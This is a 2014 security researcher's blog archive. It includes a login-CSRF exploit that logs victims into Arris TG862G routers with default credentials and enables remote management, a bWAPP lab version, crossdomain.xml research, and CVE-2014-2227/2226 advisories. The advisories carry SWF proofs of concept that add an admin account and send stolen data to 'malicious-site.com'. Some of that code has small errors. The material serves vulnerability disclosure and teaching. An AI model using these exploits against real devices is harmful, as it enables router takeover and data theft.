Tuesday, December 23, 2014

Forging my way into an XFinity home network via the Arris TG862G


TL;DR: Using login CSRF + multi-stage CSRF, you can create a one click exploit that would silently log a user into their vulnerable, Comcast provided modem/router with default credentials (if they have not been changed) and then enable remote management (or anything else). I'll show how I did this with my previously vulnerable modem/router, and then give a more generic POC that you can try out on bWAPP, an intentionally vulnerable web application.

Unnecessary Background

This story starts about a year ago when my colleagues convinced me to stop being lazy and switch to a DOCSIS 3.0 modem so that I could actually get the speeds I am paying for.  I filled out the Comcast XFinity form and had them send me a new modem.  New toy -- Yay!

So basically right after I had the new device working, I decided it was time to mess around.  Turns out the modem is an Arris TG862G, a modem that is designed to be re-branded by many ISPs and distributed to their customers. Unfortunately, as is common with SOHO devices, the modem was universally vulnerable to CSRF (and some XSS as well).

CVE-2014-5437: Cross-site request forgery
CVE-2014-5438: Cross-site Scripting

How bad can it be?

Before sending off the vulnerability report to Arris though, I figured I would try to dream up a worst case scenario, just like I do at my day job.

One of the toughest conditions to meet in the exploitation of most CSRF vulnerabilities is that the victim needs to be authenticated with the vulnerable application.  If you are talking about an application with a huge inactivity timeout -- or one that you can be fairly confident the victim will be authenticated with (Google, Facebook, etc), this is not a problem.  For an application that users are rarely logged into, the likelihood that your attack will be successful goes way down.

Well, as I was thinking about exploitation scenarios, I remembered that this device ships with a standard IP address and uses a default username/password that does not need to be changed, even after the first login. I'd love to see the percentage of customers who have ever even logged into the management console once, let alone changed the default password.

See where I am headed? Login-CSRF.

Ultimately, what we need to do is create a CSRF exploit that causes our victim to issue multiple forged requests to the vulnerable application, in order.

1) Attempt to log the victim in with the default credentials (Login-CSRF)
2) Seamlessly execute the intended CSRF attack(s) without requiring more user interaction

Login-CSRF background

The malicious use case for "Login-CSRF" that is most commonly cited is tricking your victim to log in with your credentials in order to launch an exploit or socially engineer them further.

What I needed is slightly different, not new, and described  below:


If the device's web interface uses forms-based authentication, it is often possible to perform a two-stage attack by first logging the user in to the device and then performing the authenticated action. Since most users do not modify the default credentials for devices of this kind (perhaps on the assumption that the web interface can be accessed only from the internal home network), the attackers web page can first issue a login request containing default credentials. The device then sets a session token in the user's browser, which is sent automatically in subsequent requests, including those generated by the attacker.

This was also discussed around the same time by Jeremiah Blatz at McAfee Foundstone in 2011, titled CSRF: Attack and Defense. Here is an excerpt: 

Many web-enabled devices ship with default user accounts, with well-known usernames and passwords. An attacker can exploit this to use CSRF to attempt to log users into the target website before performing a real CSRF attack. This is of particular concern for routers, which tend to have predictable IP addresses. Changing the default password on these devices prevents attackers from performing a CSRF login operation.

So people have been talking about this for years, but the question is: How do I actually pull this off? There are not a lot of public examples out there, so I figured I would share the solution that I came up with, along with some other examples.

Multi-Stage CSRF background

This is very closely related to multi-POST CSRF, however with multi-POST CSRF, it shoots all of the requests at the same time.  Lanmaster53's technique in particular is great if you need to do multiple things at once, but unfortunately it is not what we need if the requests are time or sequence sensitive.  

You want to pull multi-stage CSRF out of the arsenal when you need the victim to submit multiple requests -- in order -- on your behalf.  There are multiple scenarios where this method will give you an overall better exploit, not just with Login-CSRF. The first time I had to do this on an assessment, I needed my victim to check out an item from revision control, modify it, then check it back in.  If you shotgunned all three CSRF's at the same time, it would most likely not work, for obvious reasons. To accomplish that hack, I used a javascript timer to space out the requests, and my finished exploit was very similar to this post by Charlie Eriksen.

Instead of using the timer based approach for this POC, I decided to use XMLHttpRequest combined with onreadystatechange. I'll show the Arris POC first, and then I'll include a POC for launching this attack against bWAPP, an intentionally vulnerable web application, so that you can try it for yourself.

Arris POC

So now we have all the pieces to do something evil. The following will work if the victim has an ArrisTG862G as long as the victim has not changed their default password for the Arris modem:

1) Victim arrives at attacker's evil site via phishing, watering hole attack, etc
2) Victim is CSRFed into authenticating with the Arris TG862G with default credentials
3) Victim is then CSRFed into opening up remote management of the router
4) Attacker logs into router with default credentials from the internet

Here is the CSRF source served by the attacker (arris-MultiStage.html):

<html>
  <head>
    <script>

      function submitRequest1()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://10.0.0.1/home_loggedout.php", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "username=admin&password=password";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.onreadystatechange = function(){
          if(xhr.readyState == 4){
            submitRequest2();
            }
          }
        xhr.send(new Blob([aBody]));
      }

      function submitRequest2()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://10.0.0.1/remote_management", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "http_port=8080&http=enabled&single=any";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
</script>
</head>
<body onload="submitRequest1();">
<img src="distraction.jpg" alt="Nothing to see here">
</body>
</html>

The way this works is that the body onload at the very bottom calls the first function submitRequest1(). That function launches the first CSRF request.  Then the onreadystatechange inside submitRequest1() calls the second function, submitRequest2(), but only after the first request has finished and the response is ready.  Once submitRequest2() is called, the second CSRF request is made.  The important thing to note here, is that by the time the second request is made, it uses the post authentication session token, which is why it is successful.

A quick side note before moving on: You could easily add the onreadystatechange lines to submitRequest2(), and point that to submitRequest3(), and so on.

In terms of the severity of this exploit, remember that the attacker could just look through their web logs to determine the public IP of people who fell victim to the attack.  At that point, it is just a matter of connecting to the public IP on port 8080/tcp, and seeing if they can log in with the default credentials.

Lastly, before moving away from Arris/Comcast, I wanted to remind everyone that both the CSRF and XSS I reported on back in July have been fixed, and the fix has been pushed out by Comcast. 

If you have an Arris modem/router but do not use Comcast, contact your ISP (or Arris) to verify that your firmware has been updated to address this vulnerability.  Or you could fire up Burp and see for yourself. ;)  


bWAPP POC

bWAPP is an intentionally vulnerable web application, and it is a perfect place to try out multi-stage CSRF on something you can easily download and that you know is vulnerable.

1) Login in to bWAPP and pick the CSRF Transfer Amount module:
2) Verify the current value (1000 EUR):
3) Log out! <--- This is normally what would prevent CSRF from working! If the user is logged out, your CSRF attack is not going to work!

4) Have your victim navigate to your attacker's server and load the CSRF payload:
5) Navigate back to https://172.16.214.132/bWAPP/csrf_2.php. You should be logged in (magic), and you should see that 10 EUR has been removed from the account:

Here is the code:

<html>
  <head>
    <script>
      function submitRequest1()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://172.16.214.132/bWAPP/login.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "login=bee&password=bug&security_level=0&form=submit";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.onreadystatechange = function(){
           if(xhr.readyState == 4){
               submitRequest2();
           }
        } 
        xhr.send(new Blob([aBody]));
      }


      function submitRequest2()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "https://172.16.214.132/bWAPP/csrf_2.php?account=123-45678-90&amount=10&action=transfer", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    

    </script>
</head>
<body onload="submitRequest1();">
  </body>
</html>

That's it.  I hope this POC will come in handy next time you need to demonstrate how bad CSRF could be.  I know most developers/companies will fix CSRF as soon as you tell them it is vulnerable, but sometimes, a one click exploit is worth a thousand words!

Tuesday, November 18, 2014

Crossdomain.xml can be overly permissive even without a wildcard (*)

Before too much time passes, I want to write about a point I covered in my presentation that is not widely covered on the web -- or maybe not even covered at all. The main point is that even if you have a very specific list of domains that you trust, you may still be vulnerable to CWE-942, if one of the domains that you trust is available for purchase.

To illustrate this point in my talk, I used the crossdomain.xml file at www.sears.com:



What I found in my research is that there are plenty of crossdomain.xml files that trust sites that are available for purchase.  As far as I know, every single security assessment tool out there would pass right over these sites, missing the fact that a vulnerable configuration could be in place.

In the case of www.sears.com, they are trusting the domain: searstestsite.com. For the purpose of demonstrating the vulnerability, I purchased this domain. This means that I can now host a malicious SWF at www.searstestsite.com, a domain that I own and operate, and anyone who is authenticated with www.sears.com, who also navigates to my site, will execute my malicious SWF.

When I realized this is actually somewhat common, I wrote a nmap script to parse crossdomain.xml files and help you (the tester) determine if any of the trusted domains are available for purchase:



You can then paste the results into https://www.dynadot.com/domain/bulk-search.html, like so:



and if you are lucky, you will get a valid hit like I did:



At the time of my talks, I still had not yet found a domain service that allows you to make automated requests without an API key. Since then, while it is still not a 100% perfect solution, I have found a site that will give us what we need for the 10-15 most common TLDs: instantdomainsearch.com.

So now, if you run my nmap script with --script-args=liveLookup, the script will attempt look up the domain availability for every domain that has a TLD that can be checked. For ones that are not available, there is no need to tell the user about them. For the ones that are available, the script makes it very clear that the domain is available for purchase. Lastly, the script falls back to the original method for any domain that has a TLD unsupported by instantdomainsearch.com.

Here is http-crossdomain.nse in action, using the liveLookup script argument


nmap -n -p 80 www.domain.com --script=http-crossdomain --script-args=liveLookup

Host is up (0.012s latency).
PORT   STATE SERVICE
80/tcp open  http    
| http-crossdomain: 
|   TRUSTED DOMAIN AVAILABLE FOR PURCHASE: domain1.com
|   TRUSTED DOMAIN AVAILABLE FOR PURCHASE: domain2.com
|   
|   POTENTIALLY VULNERABLE (Requires a manual check):
|     Crossdomain.xml whitelists domains that could potentially be available for purchase.
|       This script attempted to check all whitelisted domains to see if any of the domains
|       were available.  Unfortunately, the script was unable to check some domains.
|       If the FQDN requires authentication and serves sensitive information, you will want
|       to manually check the remaining domains by browsing to the URL below and pasting
|       the comma delimited list into the Dynadot bulk domain search tool.
|   
|       DOMAIN LOOKUP URL: https://www.dynadot.com/domain/bulk-search.html
|   
|       TRUSTED DOMAINS: domain.au,domain.at,domain.be,domain.com.cn,domain.fr,domain.de,domain.com.hk,domain.in
|      
|   REFERENCES:
|     https://cwe.mitre.org/data/definitions/942.html 
|     http://sethsec.blogspot.com/2014/03/exploiting-misconfigured-crossdomainxml.html
|_  

Tuesday, October 28, 2014

BSidesDC 2014

Presenting at BSidesDC was an amazing experience. I feel so lucky that we have our very own local con, and I am extremely grateful to the organizing committee and other volunteers who make this event happen.

This is very similar to my DerbyCon talk, however it is 20 minutes longer which gave me time to walk through how to go from finding this vulnerability to exploiting it, including showing the audience how to create a POC SWF.  Also, I released SWF-Server, which will give you everything you need to create your own SWF to exploit this vulnerability.






Friday, October 10, 2014

DerbyCon 4.0 - SWF Seeking Lazy Admin for Cross Domain Action

Abstract: Security misconfiguration is #5 on the OWASP 2013 Top 10. This talk shows how the misconfiguration of one file can compromise the security of an entire web application.

In the talk, youll be introduced to the crossdomain.xml file.  This file determines how third party Flash Objects (SWFs) hosted on other domains can interact with your domain. Unfortunately, this file requires manual configuration on the part of the administrator, and as we all know, when manual configuration is required, mistakes happen.Sometimes, administrators give up and whitelist the entire internet in order to "make it work". This is essentially like adding an "accept all" rule on your firewall or setting your password to <blank>. 

We will review how to identify the vulnerability, how to abuse it, and how to write your own SWFs that exploit the flaw. Examples of public sites that until recently contained this vulnerability will be provided, including a few from the Alexa Top 100.




Wednesday, July 23, 2014

CVE-2014-2227

This CVE covers a vulnerability found in the Ubiquiti Networks AirVision application.  For more background on this particular vulnerability, check out this post:

Exploiting misconfigured crossdomain.xml files

In fact, I wrote that first crossdomain.xml blog post after finding this AirVision vulnerability back in February.  If you already read that post, you should recognize the vulnerable form I use for the POC here (adding an administrator), is the same one I used earlier.

Here is a cleaned up version of what I sent to Ubiquiti back in February:

AirVision Controller v2.1.3 - Overly Permissive default crossdomain.xml



Misuse Case

If the victim user is authenticated with their AirVision Controller, and they visit a malicious site, the owner of the malicious site can make changes to, and read data from, the AirVision Controller. The malicious site can even add a new administrative user account.  

Vulnerable default configuration:



POC:

Step 1: Attacker hosts the malicious SWF on his/her server, and socially engineers a victim AirVision administrator who is currently logged in, to view the SWF file
Step 2: The victim, while logged into AirVision, views the SWF file on the attackers server:


Step 3: The SWF loads on the victims machine, and makes a request on behalf of the victim (exploiting CSRF to add an administrator):


Response:

Step 4: The SWF is able to bypass Same-Origin-Policy because of the overly permissive crossdomain.xml file, and it records the server response to the previous request, and sends that to the attacker:

The server receives the information and responds with a HTTP 200 OK.
Here is another example of how an attacker could exploit this vulnerability, that is much different than what CSRF can do. In the screenshot below, the SWF makes a request to /api/2.0/log?type=error.  The SWF then reads the data that comes back from that request and sends it to the attacker’s server, where the attacker consumes the raw data.    





Additional details:

(CVE-2014-2227) - Ubiquiti Networks - AirVision v2.1.3 - Overly Permissive default crossdomain.xml

-----------
Vendor:
-----------
Ubiquiti Networks (http://www.ubnt.com/)


----------------------------------------------
Affected Products/Versions:
----------------------------------------------
AirVision Controller v2.1.3
Note: Previous versions may be affected

-----------------
Description:
-----------------
Title: Overly Permissive default crossdomain.xml file
CVE: CVE-2014-2227
Researcher: Seth Art - @sethsec
Detailed writeup (includes screenshots): http://sethsec.blogspot.com/2014/07/cve-2014-2227.html

------------------------------------------------------------------------------------------------------
POC #1: Using crossdomain.xml to execute CSRF and add an  administrator:
------------------------------------------------------------------------------------------------------

// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)
// POC Template Author's github: (https://github.com/gursev/flash-xdomain-xploit)
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLRequestHeader;

public class XDomainXploit3 extends Sprite {
 public function XDomainXploit3() {
  // Target URL from where the data is to be retrieved
  var readFrom:String = "https//victim:7443/api/2.0/admin";
  var header:URLRequestHeader = new URLRequestHeader("Content-Type",
"text/plain; charset=UTF-8");
  var readRequest:URLRequest = new URLRequest(readFrom);
  readRequest.method = URLRequestMethod.POST
  readRequest.data =
"{\"name\":\"csrf-cdp\",\"email\":\"csrf-cdp@gmail.com\",\"userGroup\":\"admin\",\"x_password\":\"password\",\"confirmPassword\":\"password\",\"disabled\":false}";
  readRequest.requestHeaders.push(header);
  var getLoader:URLLoader = new URLLoader();
  getLoader.addEventListener(Event.COMPLETE, eventHandler);
  try {
   getLoader.load(readRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }


 private function eventHandler(event:Event):void {
  // URL to which retrieved data is to be sent
  var sendRequest:URLRequest = new URLRequest(sendTo);
  sendRequest.method = URLRequestMethod.POST;
  sendRequest.data = event.target.data;
  var sendLoader:URLLoader = new URLLoader();
  try {
   sendLoader.load(sendRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }
}
}

-----------------------------------------------------------------------
POC #2: Using crossdomain.xml to exfiltrate log data:
-----------------------------------------------------------------------

// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)
// POC Template Author's github: (https://github.com/gursev/flash-xdomain-xploit)
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;


public class XDomainXploit extends Sprite {
 public function XDomainXploit() {
  // Target URL from where the data is to be retrieved
  var readFrom:String = "/victim:7443/api/2.0/admin";
  var readRequest:URLRequest = new URLRequest(readFrom);
  var getLoader:URLLoader = new URLLoader();
  getLoader.addEventListener(Event.COMPLETE, eventHandler);
  try {
   getLoader.load(readRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }


 private function eventHandler(event:Event):void {
  // URL to which retrieved data is to be sent
  var sendTo:String = "http://www.malicious-site.com/admin"
  var sendRequest:URLRequest = new URLRequest(sendTo);
  sendRequest.method = URLRequestMethod.POST;
  sendRequest.data = event.target.data;
  var sendLoader:URLLoader = new URLLoader();
  try {
   sendLoader.load(sendRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }
}
}

-------------
Solution:
-------------
AirVision Controller - Upgrade to UniFi Video v3.0.1 or greater (Note: The application name changed from AirVision to UniFi Video)

-----------------------------
Disclosure Timeline:
-----------------------------

2014-02-25: Notified Ubiquiti of crossdomain vulnerability in AirVision product
2014-02-19: Ubiquti confirms receipt of AirVision report and existence of the vulnerability
2014-02-28: CVE-2014-2227 assigned
2014-03-12: Requested status update
2014-03-27: Requested status update
2014-04-07: Requested status update
2014-04-09: Ubiquiti provides timeline for solution
2014-04-18: UniFi Video 3.0.1 is released
2014-06-13: Set public disclosure date of 2014-07-24
2014-07-24: Public disclosure

CVE-2014-2226

Ubiquiti - UniFi Controller - Admin/root password hash sent via syslog


Misuse case:

An attacker who has access to network traffic between the UniFi controller and the configured syslog server, can retrieve the password hash and use it to access all managed access points, and potentially the UniFi controller as well.  

Details:  

If remote logging is enabled on the UniFi controller, the controller sends syslog messages to the configured syslog server. Contained within the syslog messages is the admin password hash that is used by both the UniFi controller, and all managed Access Points.

In the screenshot below, the auth key and the encrypted password are highlighted in yellow.


The password is encrypted using the legacy crypt(1) utility, which uses Traditional DES [128/128 BS SSE2], and can be recovered using John the Ripper:

Note: The salt (and hash) changes each time the message is sent, but the password can always be recovered.

Once you crack the password, you can log into any of the managed access points via SSH. This is actually the format of the password that is used by BusyBox: 


The CVE was assigned as there is no utility (reason) for sending the admin password via syslog messages.

Additional details:


(CVE-2014-2226) - Ubiquiti Networks - UniFi Controller - Admin/root password hash sent via syslog

-----------
Vendor:
-----------
Ubiquiti Networks (http://www.ubnt.com/)

----------------------------------------------
Affected Products/Versions:
----------------------------------------------
UniFi Controller v2.4.6
Note: Previous versions may be affected

-----------------
Description:
-----------------
Title: Admin/Root password hash sent in syslog messages
CVE: CVE-2014-2226
CWE: CWE-319: http://cwe.mitre.org/data/definitions/319.html
Researcher: Seth Art - @sethsec
Detailed writeup (includes screenshots): http://sethsec.blogspot.com/2014/07/cve-2014-2226.html

If remote logging is enabled on the UniFi controller, syslog messages are sent to a syslog server.  Contained within the syslog messages is the admin password that is used by both the UniFi controller, and all managed Access Points.  This CVE was assigned as there is no utility for sending the admin password hash via syslog messages.   

------
POC:
------
Not Applicable.  

-------------
Solution:
-------------
UniFi Controller - Upgrade to UniFi Controller v3.2.1 or greater

-----------------------------
Disclosure Timeline:
-----------------------------
2014-02-16: Notified Ubiquiti of vulnerabilities in UniFi and mFi products
2014-02-17: Ubiquiti acknowledges and requests details
2014-02-17: Report with POC sent to Ubiquiti
2014-02-19: Asks Ubiquiti to confirm receipt of report
2014-02-19: Ubiquti confirms receipt of report and existence of the vulnerabilities
2014-02-28: CVE-2014-2226 assigned
2014-03-12: Requested status update
2014-03-27: Requested status update
2014-04-07: Requested status update
2014-04-09: Ubiquiti provides timeline for solution
2014-05-30: Requested status update
2014-06-12: Requested status update
2014-06-12: UniFi 3.2.1 is released
2014-06-13: Set public disclosure date of 2014-07-24
2014-07-24: Public disclosure